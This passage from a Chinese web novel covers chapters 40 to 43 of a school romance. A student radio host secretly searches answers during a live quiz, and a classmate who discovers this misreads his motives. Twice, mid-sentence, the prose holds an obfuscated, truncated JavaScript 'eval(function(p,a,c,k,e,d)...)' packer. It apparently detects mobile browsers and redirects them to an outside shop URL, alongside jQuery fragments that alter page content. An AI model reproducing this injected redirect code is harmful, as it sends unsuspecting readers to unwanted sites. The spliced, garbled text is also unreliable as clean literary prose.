于支扬坐在电脑前敲键盘，头也没抬：“上次在我直播的时候打电话表白不是挺勇的吗？怎么，难道连电台室的门都不敢进？” 动不动就翻旧账，真够无聊的。 夏注纠结了几秒，还是抬脚走进来，反手关上了门。 然后她就意识到刚才不想进来的那股拧巴感是怎么回事了…… 在门合上的那一瞬间，这个密闭的空间里，就只剩下他们两个人单独相处。房间昏暗又狭小，安静到令人恍惚。 这方小小的天地里，每一个角落都充斥着于支扬身上的味道，好似洗衣液混合着海盐的气息。夏注感觉自己浑身的血液流速都变快了，感觉擅自闯入了一片极度危险的私密领地。 然后她就干了一件连她自己也没法理解的事。 她拖起门背后那张有轮子的备用靠椅，绕过长桌，一路拖到于支扬跟前，保持着这个动作，居高临下看着他。 于支扬停下手里的动作，抬起头：“？” 他刚才说的好像是「门背后有一把备用椅子，你可以坐在那等我」，所以夏注的这个举动是？ 于支扬扫了一眼她身后的靠椅，有些好笑地挑了挑眉：“你干什么？” 夏注想也不想，直接脱口而出：“你让开，我要坐在这儿。” 于支扬的表情更奇异了：“我要直播，这是我的位置。” “那你进去点，我要坐在你旁边。” 于支扬一怔，这次是真的笑出了声。 夏注看到他这样，瞪大了眼睛，莫名有些紧张地收紧五指，僵在原地，一句话也说不出来…… 好蠢！我TM在干什么！为什么要上赶着来跟他抢位置？还拖着这个又笨又大的丑椅子……而且他没邀请我坐过来啊！在别人的地盘上这样真的好吗！！夏注内心疯狂咆哮着。 于支扬低头闷笑了一会儿，到底也没有继续捉弄她，而是很大方地摊开手，给他让出一个位置，连人带座挪到了里边。 夏注如愿坐了下来，一时间不知道眼睛该往哪里瞟。 于支扬好整以暇地看着她，忽然把手伸过来，夏注心脏一紧，险些跳起来。 但于支扬什么也没做，只是从她面前拿走了麦克风。 接下来，夏注看着他若无其事地调节直播设备，戴好监听耳机后，还调整了一下小话筒的位置，不慌不忙地打开歌单试音。 等他做完这些，夏注也放松下来了。 女孩子的目光一直跟着他手上动作走，于支扬随口说：“紧张什么，你坐着听就好了，又不用发言。你知不知道这个位置一般人想坐还坐不到呢？” 夏注移开视线，淡淡道：“那你找别人坐呗。” “……” 于支扬握着鼠标的动作停顿了一下。 他扭头看向身侧的人，看了一会儿，忽然一把抓住夏注的座椅扶手，把她转了半圈，跟自己来了个面对面。 夏注靠在椅背上，微微拧眉：“干什么？” 于支扬的掌心缓缓搭上两边的扶手，把夏注逼至方寸之间，一点一点朝她靠近。 四目相撞间，夏注不耐烦地“啧”了一声，又问了一遍：“想干什么？” “夏注，我能不能问你个问题？” “问什么？” “就是，你愿不愿意做我的……” 夏注呼吸一滞，脑子里有根弦瞬间开始紧绷。 她望着于支扬眼底呼之欲出的情绪，心里忽然有种说不清预感…… 于支扬直视着她的眼睛：“你愿不愿意做我的直播搭档？” 夏注：“啊？” 一切的汹涌戛然而止。 什么？直播搭档？夏注瞳孔微微放大，一脸难以置信地瞪着他。 “就这？没了？？” 于支扬闭了闭眼，再睁开时，刚才那股排山倒海的强烈情愫已经化成气体消散了。 “没了，你以为是什么？” 夏注轻揉着眉心，心说果然，我就不该对这家伙抱有一丁点幻想…… 宣传部在两个月前，的确考虑过要增加一个主持人来分担任务，于支扬也同意了。 来面试的女同学挺多，新人前期不熟练，还得由他带着播上一段时间才能独自上阵。 结果怎么着，他挑挑拣拣，把来面试的人全部筛掉了，不是嫌人家普通话不标准，就是嫌人家设备操作不熟练，最后一个也没过关。 好不容易邀请到一个各方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16376391|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都达标的苗渔，但不知什么原因，最后也没成，从那以后，宣传部就再也没人提起这事。 夏注记得自己刚进升华班的时候，随口跟于支扬提过一次，他当时不乐意，现在不知怎么又想起来了。 可惜她现在没办法答应。 “没兴趣，滚吧你。” 她说。 这个回答就在意料之中，于支扬低下头，自嘲地笑了一声，“算了，你肯定不愿意，不然刚才也不会站在门口不进来。” 夏注没有说话。 换作以往她肯定会一口答应，可是现在真不是时候。 当务之急是打乱剧本把沈通捧上位，像这种多个搭档、队友加成的好事，于沈通而已多多益善。于支扬这边，则不需要这么强烈的存在感。 因为有人被推上去，总要有人退下来。 如果于支扬不配合，那么劝他低调一点这种话，即使说了也是废话。 这个人如今风头正盛，好像完全没有弱点。 夏注这才惊觉，她都跟于支扬认识这么久了，居然从来不知道他的弱点到底是什么？ 升华班连续两年的断层第一，学生会人人仰慕的宣传部长，校外交口称赞的一中镇楼大佬，除了脾气差一点，完美到各方面都找不出错处……所以这个人到底有什么弱点可以把他从高位上拉下来？ 就在夏注百思不得其解的时候，于支扬开口了：“你旁边都柜子里有台笔记本电脑，帮我拿出来。” “哦。” 夏注心不在焉地应了一声，站起来去旁边取东西，然后柜门一打开，她猛然愣住了。 这个柜子可能是这里唯一能证明于支扬私属的东西，跟其他一切规整摆放的物件不同，透露着鲜明的个人特色。 笔记本电脑、充电线、抽纸水杯感冒药、饭碗泡面瓶装水、筷子叉子小毛毯，还有一个电热水壶……乱七八糟堆在一起，好像就是被主人随性丢进来的，虽然干净，但东倒西歪，毫无秩序。 跟它们的主人本人一样，不守规矩。 夏注：“……” 这个人……起码还算知道公共区域要保持整齐划一，所以从来不把自己的物品放在显眼处。 但还是很有病啊，他藏这些玩意儿就好像要在这安家一样。万一被人看见了，岂不是一举报一个准？ 病得不轻。 于支扬就好像在一方规则森严的狭小天地里，偷偷挖了一个洞，把自己的本性埋藏了起来。然后夏注第一次来，就把这只羊的隐私全部刨了出来…… 可能也算不得什么秘密吧，因为是他自愿展露给她看的。 夏注的思绪胡乱飞了一会儿，从柜子里取出那台笔记本电脑，拿出来的时候，饭碗还不小心滚出来了。 她没露出什么异样的神色，把碗放回原位，然后合上了柜门，把笔记本递到了于支扬手边：“给。” “谢谢。” “拿这个做什么？直播用你桌子上的台不就够了？” “这台有其他的用途。” 夏注有点好奇：“什么用途？” 于支扬低头看表，没有直接回答，而是对她笑了一下：“直播要开始了，你就在旁边看着，乖一点，别捣乱。” “我又不是三岁小孩，怎么可能捣乱？” “那可未必。” 于支扬给笔记本开机，漫不经心道：“万一你待会儿趁我直播的时候跑了，那我只能先追你了。” 其实比起于支扬为什么要追她，夏注更纳闷她为什么要跑。 41.第四十一章 今天的电台直播节目提前了一个小时。 时间不偏不倚，操场上的团体游戏正好结束。 高三年级正在整理队伍，平日里凑不上这热闹，于支扬一开播，好多人说想要拨打热线电话，他们的老师也没扫兴，提前宣布解散了。 「各位同学下午好，这里是海城一中电台。」 广播响起来的时候，杨宝儿正拖着两只蛇皮口袋，带领着一群后勤部的学生在操场上到处捡垃圾。 她转头问苗渔：“于支扬怎么直播了？他不是跟夏注去医务室了吗？难不成他俩还在一块？” 苗渔正从书包里拿出拉拉队服，头也不抬道：“在一块就在一块，有什么大惊小怪的。” “学校电台室是禁止闲杂人等出入的呀。”杨宝儿似乎意有所指：“连你都没进去过，于支扬就这么…带着陌生人去，不太好吧？……” “有什么好不好的？他才是宣传部长，他想带谁就带谁。” 苗渔依旧没什么特别的反应，把衣服搭在手臂上，转身朝着更衣室的方向走。 杨宝儿追在她后面，压低了声音道：“苗渔～你到底有没有听懂我的意思？……我是说那个！” “哪个？” “哎呀，我是说你难道不喜欢于支扬了吗？你怎么就是听不明白！” 苗渔脚步一顿，转身呵斥：“杨宝儿！” 她苍白的脸上很快就浮起一丝愠怒，沉着脸反问道：“我什么时候说过这种话？我跟于支扬只是普通同学关系，你被论坛上那些乱七八糟的帖子洗脑了吧？我们这个阶段的任务就是好好学习，哪有时间想别的？你不要瞎掺和！” “我也不是想掺和……” 杨宝儿意识到自己失言，改口说：“我就是想问问你俩最近是不是吵架了？他不是一直挺听你话的么，也很尊重你，班里的大事小事都会跟你商量着来，但这段时间，好像没怎么看见你俩站在一块？” 来到更衣室门口，杨宝儿倒着走用屁股推开了门，继续套话：“是不是因为上次宣传部邀请你去做于支扬的搭档，你不愿意，所以就……？” “没有！明明是他先……” 苗渔脸色一僵，及时收住，一脸难以置信地望着她，问：“你是从哪听说的这些？” 杨宝儿：“学校论坛上传的呀，他们都说是你拒绝了于支扬的邀请，真的吗？你到底为什么不去？我真想不通……” “论坛上……是这样说的？” “对呀，难道不是吗？” 苗渔沉默了，流露出一丝复杂的情绪，她闭上眼睛缓了一会儿，才说：“算了，那就这样吧。” 杨宝儿疑惑：“什么就这样？能不能告诉我为什么……” “你能不能不要再问了！” 苗渔心里的烦躁被“噌”一下点燃，吼完这一句，别过脸去握着拳头连连咳嗽…… 杨宝儿被吓了一跳，上去替她拍了拍后背：“苗渔你怎么了？身体不舒服吗？” “我没事……”苗渔摆摆手说，“可能是上次感冒没痊愈，你走吧，我要换队服了。” 又是感冒？ 苗渔好像一年四季都在感冒，她的身体真的太差了…… 杨宝儿一脸担忧地看着她，扭头从更衣室的柜子里翻出一只纸杯，想接一杯热水，结果发现饮水机没有插电。 “靠！” 她暗骂一声，气得直接把纸杯揉成团。 苗渔还在咳，可能情绪波动有点大，一时缓不过来。 “你咳成这样真的没事吗？要不我替你去跟老师请个假吧，身体不舒服的话，休息一下没事的……” “我说了不要管我！”苗渔大口喘着粗气，脸色涨红道：“别去跟老师胡说八道，我身体好得很！我是领队，我自然会准时到场，你顾好你自己就行！” 杨宝儿的心脏猛地一颤，也来了脾气：“我只是关心你的身体，你干什么发这么大的火？如果你真的生病了，就是应该要休息呀，不舒服为什么要强撑？有病就要治病……” “我再说一遍，我没病！一个个的都盼着我有病，你们到底怎么回事？” “哼！狗咬吕洞宾！” “咳咳咳……杨宝儿！” 杨宝儿已经把纸团扔进垃圾桶，甩开门怒气冲冲走了，留她一个人久久愣在原地。 - 电台室里，夏注亲眼目睹于支扬坐在主持台前滔滔不绝地讲完了故事分享，全程脱稿，语速流畅自然，一点也不带卡壳的。 尽管做过心理准备，也知道这人记性很好，但说一点儿也不震惊肯定不可能。 夏注的视线就没从他身上移开过。 一段音乐过后，本场直播终于迎来了万众瞩目的热线接听环节。 于支扬不紧不慢地把笔记本抬起，卡在支架上固定，对着麦克风说：“感谢诸位聆听，接下来进入今天的来电接听～临时通知一个消息，由于是校庆活动的第一天，今天的互动环节呢，跟平时有点不一样……” 他说着，双击鼠标点开浏览器，屏幕上跳出一排小字：「海量信息搜一搜」。 夏注看见他这个举动，不禁满脸问号，心里忽然有种不好的预感。 他想干什么？这个时候上浏览器干什么？ 于支扬直接无视夏注投来的目光提问，继续一本正经地说：“同学们也知道，刚刚升华班和高三年级共同举办了一场男背女接力游戏，作为赛前热身，所以，为了呼应今天的活动主题……” “刷啦——” 身侧传来布料摩擦的动静，于支扬目光一转，看见夏注已经忍不住站起来了。 女孩子嘴唇微动，用口型问他：你、想、干、什、么？ 于支扬勾了勾嘴角，没有回答，继续对着麦克风道：“所以为了呼应活动主题，今天的电台热线来电内容，全部统一为：百科问答！” 百科问答？要玩这么大吗！ 夏注顿时瞪大了双眼，是她理解的那个意思吗？ 于支扬语调轻快，却实在狂妄：“各位同学可以通过拨打热线的方式，向主持人提问人类已知范畴内的一切问题。每个电话不超过五分钟，我会在半分钟内给出解答。欢迎各位老师和同学踊跃提问！” 夏注脸色已经变了，满脸写着“我这是听见了什么要命的鬼东西？” 她僵硬地抬起头看了一眼天花板，心说这里好像是海城一中电台室吧？而不是什么“挑战不可能”的炫技大舞台…… 所以于支扬知道自己在说什么吗？？ 这个人是不是真的以为自己无所不知无所不能？还真以为自己人脑堪比计算机啊！！ 等等，难道他拿笔记本电脑其实是为了…… 走向开始有点不对劲了，夏注绕到他身后，下意识把手搭在他的肩膀上缓缓收紧…… 于支扬感觉到疼，不禁拧眉，轻轻侧首看了她一眼。 电台设备散发的蓝色光映照在他半张侧脸上，显得既刚硬又冰冷，好似在他们中间镀上了一层屏障。 夏注紧紧抓着，没有松手。于支扬也没有动手推开她，忍着痛感坐直身子，按下了接听按钮：“接下来接听今天的第一位听众来电。” 「喂，你好。」 主持人的声音在整个校园范围内响起。 操场上早就已经炸开了锅，电话一经接通，许多人议论的声音随着滋滋电流音传到广播里，七嘴八舌混乱不已。 “百科问答啊！这小子也太TM嚣张了！打电话快打电话，这次必须给他按地上！给他点颜色瞧瞧！” “没准人家真行呢？于支扬身上的奇迹难道还少吗？” “少吹牛逼！再厉害也不可能无所不知又不是机器！机器也做不到啊，神经病吧！” “假的！百分百假的！他要是能答出来我TM直播洗澡！” “于神牛逼！” 对面的背景音怎么人山人海的……连没戴耳返的夏注都听见了。 电话那头过了十多秒，才传来一道尖锐的呐喊：“霍哥！电话通了！” 然后有人接过手机，直接开门见山道：“喂？于支扬吗？我是高三164班霍光，你应该认识我！” 接电话的这人可能刚结束一场体力消耗，气息不稳，却主动报上名号，语调里带着点不屑，一听就很有底气，就差直说“我来跟你会会此番不捶死你劳资誓不罢休”。 于支扬笑着回应：「高三164班学习委员，霍光，久闻大名！」 “是霍光？” 操场上正在捡垃圾的升华班学生纷纷竖起耳朵听，付少校忍不住咋舌：“才第一个电话，就撞上了高三的学长，啧啧啧于支扬今天有点倒霉啊……” “霍光是谁？很厉害吗？” 普星星问。 “怎么不厉害？164可是这届高三的开头大快班啊！听说上次月考这个霍光考了年级第一，全市排名前十的！你多关注一下外界的消息啊星星姐！别读书读傻了都……” 二班的三鲜隔着大老远大声喊话说。 普星星更纳闷了：“那这个人这么厉害，为什么不进升华班？” “也不是人人都想进升华班的。” 付少校说。 只要在考试的时候勾选“无意愿 ”，就不会被调剂升华班，只是很少会 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“地球上出现潮汐是由于？” “地月吸引力。” “在地质年代中铁矿形成的重要时期是？” “太古代。” “人体安全电压是37V吗？” “不高于36V。” “股票交易里经常说成交多少多少手，一手指的是多少股？” “一百股。” 百科问答几乎变成了快问快答，两位学霸的语速一个比一个更快，生怕晚一秒就算认输一样。 “我的天呐怎么这么快？！” 操场上众人一片卧槽：“牛逼！太牛逼了！这TM神仙打架啊？？” “太快了吧，答对了吗？快搜啊！搜一下对不对！” “别催别催！上一题都还没出来！啊啊啊啊对的！于神牛逼！” 电台室里一阵“噼里啪啦”声，于支扬键盘敲得飞快。 夏注以一种极其僵硬的姿态站在他身后，亲眼目睹这个不得了的大秘密，当成石化…… 原来他就是这么直播的吗？？ 麻了！他搜题！搜题啊！！ 说好的镇楼大佬形象呢？就这？就这？ 什么两年来电台直播从未被问倒过，什么记忆超群有问必答……假的，通通都是假的！！所以他一直就是这样直播的是吗？这个大忽悠他是怎么好意思一本正经地坐在这吹嘘自己有问必答的？？艹！骗子啊！大骗子！ 夏注被这一幕震惊得连嘴巴都合不上，石化不够，她的表情都快裂开了……心里疯狂咆哮着这TM是什么脑子进水的无知戏码？？ 该说于支扬是蠢还是狂呢？ 夏注作为数生建模尚且都不敢如此妄自吹嘘自己全知全能，他是怎么敢的！这么大的谎言吹出去，也不怕最后玩脱了圆不回来？！ 夏注的表情从惊讶，到恐慌，真的是恐慌。 这种离谱事一旦有人信了，于支扬在他们心中真就封神了。 她在疯狂祈祷可一定要有人长长脑子啊，但凡怀疑一下呢？ 夏注的思绪如脱缰的野马奔驰千里，眼前的双强对峙却不见停息，反而愈演愈烈。 霍光：“有一只羊，狮子两小时吃完它，熊三小时吃完，狼六小时，如果三只野兽同时吃多少时间才能吃完？” “如果他们不打起来的话，一个小时，如果他们打起来的话，就不一定了～” 于支扬慢悠悠地轻笑了一声：“学长，就这？脑筋急转弯的难度，你是看不起我吗？” 都什么时候了还挑衅！夏注不禁呼吸一滞，不自觉加重了手上的力道。 “废什么话！还没完呢！” 霍光的气音里难得带了一丝急躁。 他旁边的兄弟实在忍不住了，小声吐槽：“能在这么短的时间内全部答对，这哥们是真有点东西啊……” “你TM就不能找点难度大的题？” 霍光捂住手机底部，皱着眉头道：“这小子在学校论坛被人吹得神乎其神的，我还就不信了……” 他把旁边男生的手机抢过来，滑动了几页，继续对电话那头道：“继续！于支扬你听好了：一个家庭有两个小孩，其中一个是女孩，另一个也是女孩的概率是多少？” 他停顿了两秒，又自己临时加上了一句：“别告诉我是1/3 ！” 于支扬：“……” 五秒钟过去了，他没有动；十秒钟过去了，还是不动…… 42.第四十二章 夏注把两只手搭在于支扬的肩膀上，不自觉抓紧，一颗心都提到了嗓子眼…… 完了完了……这算哪门子的正经提问？正确答案不是三分之一还能是什么？这要怎么回答？ 于支扬不说话，迟迟没有反应。 夏注不免替他焦虑，一双眼睛死死盯着屏幕上的搜索框，身体无意识前倾，手上的力道越来越重。 “嗯……” 于支扬终于忍不住闷哼一声，余光落在夏注轻微颤抖的手背上。 噗，怎么傻乎乎的…… 他抬起手拨动了一下耳麦，一字一句地开口：“很简单，答案是二分之一。” 夏注一愣：二分之一？为什么是二分之一？ 于支扬眸光里潋滟着笑意，给出了解答：“已知的那个女孩不知道她是第一个孩子还是第二个，如果她是第二个，那么概率当然就是二分之一！” 好家伙，这都可以？夏注恍然大悟。 答案被抢了还能在这么短的时间现编一个出来？厉害啊！夏注忍不住露出赞叹神色。 霍光冷哼一声：“切，强词夺理！” “话不能这么说，夺理的明明是学长啊。” 于支扬放松下来，“时间差不多了，学长还有其他问题吗？” “算了算了，今天就先放你一马吧。” 对面说完，率先挂断了电话。 后脖颈传来一阵酥痒，于支扬觉察到异动，心不在焉的补上一句：“OK，期待您的下一次来电……” 夏注正站在他后面，探出身子去看屏幕上的弹幕，长发扫过于支扬的耳梢，垂落在他后脖颈上。 于支扬后仰抬起头，正好与她四目相撞。 一双深邃缱绻的眸子望着她，幽幽道：“你在看什么？” 要死啊！你麦克风关了吗这么大声干什么！被人听见怎么办？夏注的心脏猛地收紧，做了刚才一直没敢做的事 ——捂住他的嘴巴！ “唔？” 于支扬发出一声疑惑，看她的眼神里又多了一丝清澈的……无辜？ 在线的听众发出质疑：【咦？于支扬你刚刚说什么？】 【没有吧，可能听错了，该接下一个电话了吧……】 - 电台室里的温度升得比开空调更快。 于支扬被她捂住嘴巴，眼珠子滴溜溜地转，牵动嘴角笑出气音来。 夏注感受到手心的颤动，不由得吓出一身冷汗，用口型对他说：“你笑什么笑？这是直播！” 于支扬一下一下耸动着肩膀，笑弯了眉眼，他就这么津津有味地承接一切来自夏注的怒火。 呼出的温热在夏注掌心里放肆升温，几乎要将她烫伤。 夏注猛然缩回了手，终于意识到他是故意的。 为什么呢？于支扬今天当着她的面搜题直播，难道不怕她去告发吗？这样不打自招的自毁式做法对他能有什么好处？ 等等！莫非他是想…… 夏注脑子里有一只羊和一只兔子正在疯狂打架，其中那只羊“啪嗒”一下撂开蹄子，得意洋洋地说：“看到了吗我才是我的真面目我就是这么差劲一只平凡的羊没什么可喜欢的所以你以后别再缠着我了我不喜欢带毛的兔子你快滚吧滚得越远越好！” 兔子嘤嘤嘤抱着羊角挽留，死活不肯撒手。 女孩子的脑回路在短时间内转了个弯，正好180°。 她难以置信地瞪大了眼睛：所以于支扬是为了拒绝我才自黑的？！我到底哪里配不上你了？你至于做到这个地步？！ 于支扬眼睁睁看着她表演瞳孔地震，然后表情一点一点裂开，最后生气到浑身开始颤抖…… 他不理解，有点迟疑：“夏夏，你怎么了……” 夏注在巨大的受挫感中，沉重地后退了一步。 一口恶气咽不下去，越想越气！下一秒，她毫不犹豫地出手，把于支扬的脑袋直接摁在桌子上！ “砰！” 尼玛！不识好歹的狗男人！ 于支扬看着气势汹汹大步离去的夏注，一脸懵逼：ber……怎么了吗？？ 刚才不是说好要等他的吗？不是说好不会捣乱的吗？ “各位同学们，接下来进入一段点播音乐，音乐结束之后，活动继续！” 于支扬说完，毫不犹豫地摘下耳机，也追着冲出门。 屏幕上跳出一连串直播弹幕：【怎么才接了一个电话就要中场休息？】 【等等吧，体谅一下，可能百科问答比较费脑哈哈哈……】 【以前没这步骤啊？】 【音乐好难听，能不能换一个……】 夏注头也不回地冲出电台室，这次是真不想再逗留一秒。 送于支扬来直播、跟他共处一室简直就是她今天最蠢的一个决定！为了甩掉她，连这种伤敌一千自损八百的破招也想得出来，真是好极了！难怪他这段时间都乖乖的不作妖，原来在这憋着呢！ 夏注心说既然这么喜欢自吹自擂高高在上，咋不直接上天呢！我就应该直接去揭发他让他知道什么叫人心险恶！ 她走得飞快，刚到楼梯口时，于支扬追出来了，大声喊着：“夏注！你跑什么？” 于支扬的脚步略显蹒跚，但架不住他腿长，没两步路就追上了。 他没有直接靠近，而是在距夏注还有一截距离的地方停了下来，问：“你不能走，不是说好要等我下播的吗？” 夏注忍不住在心里暗骂TM的……你不是脚崴了吗为啥能走这么快？ 她闭上眼睛深吸一口气，转身反问：“为什么不能走？我说的话向来不算数，你是第一天才知道？” 停顿了两秒，她又冷笑道：“哦，怎么？你搜题的秘密被我发现了，还想杀人灭口啊？” 于支扬平静地看着她，不明白夏注身上汹涌的戾气从何而来。 他站在那，就好像一个孩子拿出珍藏的糖果招待朋友，打开一看全是稀碎。不知道朋友是否会因此绝交或是厌恶。 “所以……你是因为这个生气？” 男孩子好像遭受了什么重大打击，低下头露出一抹苦笑，问：“夏注，你不能接受我有缺点么？” “我没你想象中那么好所以你失望了……” 夏注：“？” 不是，委屈装给谁看啊？该委屈的人好像是我？ 夏注最看不得他这种一脸被抛弃的落魄样，显得自己有多么肤浅又薄情似的……让她有种被二次碰瓷的感觉？ 她连声大喊：“打住！你TM赶紧打住！停止你乱七八糟的脑补！” 于支扬郁闷的小表情立马消失不见，若无其事地两手一摊：“我就是说说而已～” 情绪转变之快让夏注猝不及防。 夏注摇了摇头，实在是气笑了，盯着他看了几秒，突然迈开步子朝他走过去。 “于支扬，你听好了。” 她说，“我的接受能力很强，也有的是耐心，要作，你可以使劲作，不管你的缺点还是优点，我照单全收。” 于支扬面带微笑看着她，很自觉地往后退，被逼到了墙角。 “如果你觉得自黑几次，就能让我放弃的话……” 夏注抬起手，用食指用力戳了戳他的心口：“那不可能。” 于支扬闻言一怔。 空气凝滞了几秒，于支扬一脸幽深地盯着她看，眼波流转，夏注竟一时看不懂这是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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什么叫“接受全部的我”？于支扬这句话是什么意思？她是不是可以理解为…… 夏注瞬间讶然！难怪今天的于支扬让她感觉如此似曾相识呢！ 她望着于支扬认真的眼神，好半晌才缓过神来，磕磕绊绊道：“啊，原来你是……这个意思吗？” “对啊，所以某人又想歪了是吧？” 夏注：“……” 为什么要加个「又」？ “那没事了。”夏注移开目光，轻咳两声，故作坦然地冲他挥了挥手：“那什么，你赶紧回去直播吧，里面音乐快要结束了，回去吧回去吧～” “你跟我一起吗？” 于支扬问。 夏注有点为难：“不了，苗渔那边总是请假也不太好，我得回去跟他们一起训练。” 谁知她一转身，于支扬又开启碎碎念：“那我怎么办呢我脚踝还肿着呢你就不管我了……拉拉队训练真的比我更重要吗这可是二楼啊我待会儿要怎么下去怎么去吃饭怎么回教室……” 夏注打出暂停手势：“停！” “那等我训练结束了来接你，行了吧？” 啰嗦半天不就是这个意思么。 于支扬立刻喜笑颜开：“好好好，那你一定要来啊！来不及了我先进去了！” 他说完，半秒也不耽误，又拖着那条瘸腿一溜烟跑没影了……夏注望着他的背影，一时有点语塞，心说他脚上这伤可真懂事呢，说不疼就不疼了…… 43.第四十三章 “好了时间不早了，今天就先练到这吧！” 下午六点半，学校体育馆内，最后一轮动作技巧训练结束，苗渔大声宣布解散。“今天晚上不上晚自习，大家早点休息！明天各项比赛就要正式开始了，请大家一定统一着装、带好道具上场！预祝我们班拿下今年校庆团体赛第一名！” “好耶好耶！” “啊啊啊可以提前回家吗？太棒了！” 英语课代表大喊：“走啊杨宝儿！一起吃饭去？” “不去了，我今天回家吃。” 夏注刚坐下来喝了一口水，正好杨宝儿过来拿书包，于是她自觉站起来让到一边。 杨宝儿今天似乎心情不太好，像个炮仗似的，刚才训练的时候就一直跟人呛嘴，她不太想去触霉头。 偏偏他们班的英语课代表是个话唠，被拒绝了也不死心，一直围着杨宝儿打转：“对了宝爷，苗渔今天穿的那双球鞋是你借给她的吗？她上次不是说不穿别人穿过的嘛？” “没有，我没有借过她球鞋。” 杨宝儿低着头想把校服外套塞进包里，塞不进去，她就用力锤。 “诶？可她今天穿的那双鞋子跟你是同一个牌子呀？” “你烦不烦？我怎么知道？” 夏注安安静静靠边喝水，没有插话，余光瞥见苗渔正朝这边过来，她下意识扫了一眼，的确是穿着一双跟杨宝儿上次一样的同款白球鞋。 同一个牌子也没什么奇怪的，不是有人提起根本就注意不到。 “杨宝儿……” 苗渔走过来，似乎有话要说，杨宝儿全当没听见，拎起书包就要走。 “杨宝儿你等一下！”苗渔喊完这一句，有点尴尬地看了夏注一眼。 夏注了然，赶紧拉着那个没眼力见的课代表暂时走开：“来来来姐妹，我刚好想跟你请教一下英语卷子的问题……” “什么问题非得现在……”两人没走多远，就听见后面传来一句“对不起杨宝儿，之前是我不对……” 课代表当即燃起熊熊八卦之心：“卧槽！啥情况啊？？” “没啥情况。”夏注捂住她的耳朵，“人家的私事，我们尊重一下，走吧走吧……” - 来训练的学生已经走得差不多了，杨宝儿紧紧攥着书包带子，仍在气头上根本不想回头。 苗渔道歉说：“我知道你只是关心我，我白天不该对你发火的……” “我就是想着……我毕竟是领队，如果身体稍微不舒服一点就请假，大家会怎么想？还怎么给其他同学树立榜样呢？杨宝儿，我希望你能理解……” “理解什么？” 杨宝儿回头，打断她说：“理解你超强的责任心？还是理解你生病不治病？我要给你鼓个掌吗？” 锋锐外壳里包裹着的分明是心疼的责备，苗渔不是听不出来。 杨宝儿气冲冲道：“只是一点训练而已，你至于这么拼吗？太夸张了吧苗渔？这种小事你就算再努力，又有几个人会知道啊？你不说，普老师看不到，其他同学也看不到，你图什么呢？你就一直这么紧绷着，精神不会出问题的吗？” “我没有想做给谁看……”苗渔一脸苦闷地望着她，欲言又止。 “哦，你又想说是为了班级荣誉？” 杨宝儿两手叉腰抬头看了一眼天花板，气笑了：“我寻思着……这里好像是教书育人的学校吧？不是什么压榨牛马的牧农场，没有强迫学生牺牲健康来换取集体荣誉那一套。何况，说难听点，大家都是升华班的，哪一个不是为了自己？牛羊成群，猛兽独立……谁稀罕那点没价值的破「荣誉」？” 这话在苗渔听来有些刺耳，尽管这是大家心照不宣的想法，但杨宝儿就这么光明正大地说出来，就好像她的努力只是为了装样子。 杨宝儿明显没有那个意思，知道苗渔容易多思，又放轻语气道：“所以除了班级荣誉，你还不如多关注一下自己的身体。这个学期以来我感觉你的身体好像越来越差了，好几次请假，你都说是感冒，哪儿有感冒病这么久了还治不好的？你不好好休息就算了，还什么活动都要往上凑？不要命了是吗？” 苗渔的脸色由苍白转至铁青，好几次想要开口反驳，又实在不知道说什么，回怼也不是，听从也不是。 最后只得说：“我会认真考虑的。” 杨宝儿以为她终于听进去了，长长舒缓一口气，主动上来挽着她的胳膊：“看看，这就对嘛，你早该听我的啦，咱俩可是最好的朋友吧，我还能害你嘛？” 苗渔绽放一个柔和的微笑，点了点头。 这就算是和好了，杨宝儿还想再说点什么，包里的电话先响了，家里司机打来电话说在校门口等着，她只能先走。 诺大的体育馆瞬间安静下来，苗渔回头一看，同学们走的早散的散，远处的观众席上，只剩夏注一个人。 她正低着头，把一本小册子摊开放在膝盖上，似乎在记录什么。 苗渔走过去对她说：“刚才谢谢你了。” “不用谢。”夏注合上本子，对她笑了笑。 正当她以为话题结束时，苗渔又问：“对了，于支扬呢？我有点事想要跟他商量一下，可他一直没接电话。你扶他去电台室了吧？怎么没留下等他？” 夏注打开手机看了一眼时间，说：“我走的时候他还在直播，不过现在嘛……” 不看不知道，一看时间，已经七点了！ 夏注迅速站起来把本子塞进包里，背起书包的那一刻，又在想：反正都这么晚了，于支扬说不定早就已经走了…… 她问苗渔：“我现在要去电台室，你要跟我一起去吗？” “不用了，我看你也没必要白跑一趟，毕竟他也不可能一直等着你是吧？我还是明天再找他聊吧，我先走啦。” “苗渔！”夏注突然叫住她。 苗渔脚步一顿，疑惑地转身。 夏注的视线在她的白色球鞋上扫过，似乎意有所指，微笑地说：“你的鞋带松了。” “……谢谢。”苗渔平静地道了一声谢，蹲下来系鞋带。 夏注背着书包从她旁边走过，停顿了两秒，还是决定提醒一下：“那个……你这双球鞋的颜色好像有点不对。” 苗渔：“？” “一般来说，真皮的鞋面光泽不会这么亮的。当然，我就是随口一说，并不确定，你有空可以去品牌官网上查验一下。没有问题的话，当然最好，如果有什么问题……这几天退换也还来得及，对吧？” 都提示到这份上了，苗渔不可能听不出来，一时间脸色有些紧绷。 “我先走了，班长拜拜！” - 夏注离开体育馆后，径直朝着科技楼方向去。 入秋后的白日越来越短暂，太阳才落山没一会儿，天色肉眼可见地灰暗下来，没几步路 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夏注干脆直接上手拧他腮帮子，于支扬生生被疼醒。 乍眼一看，一张折射着白光的幽灵脸近在咫尺，披头散发与他面对面…… “你干什么！！” 羊sir受了惊，第一反应蹬腿后撤，夏注眼疾手快，一把抓住靠椅扶手，以防他失去重心。 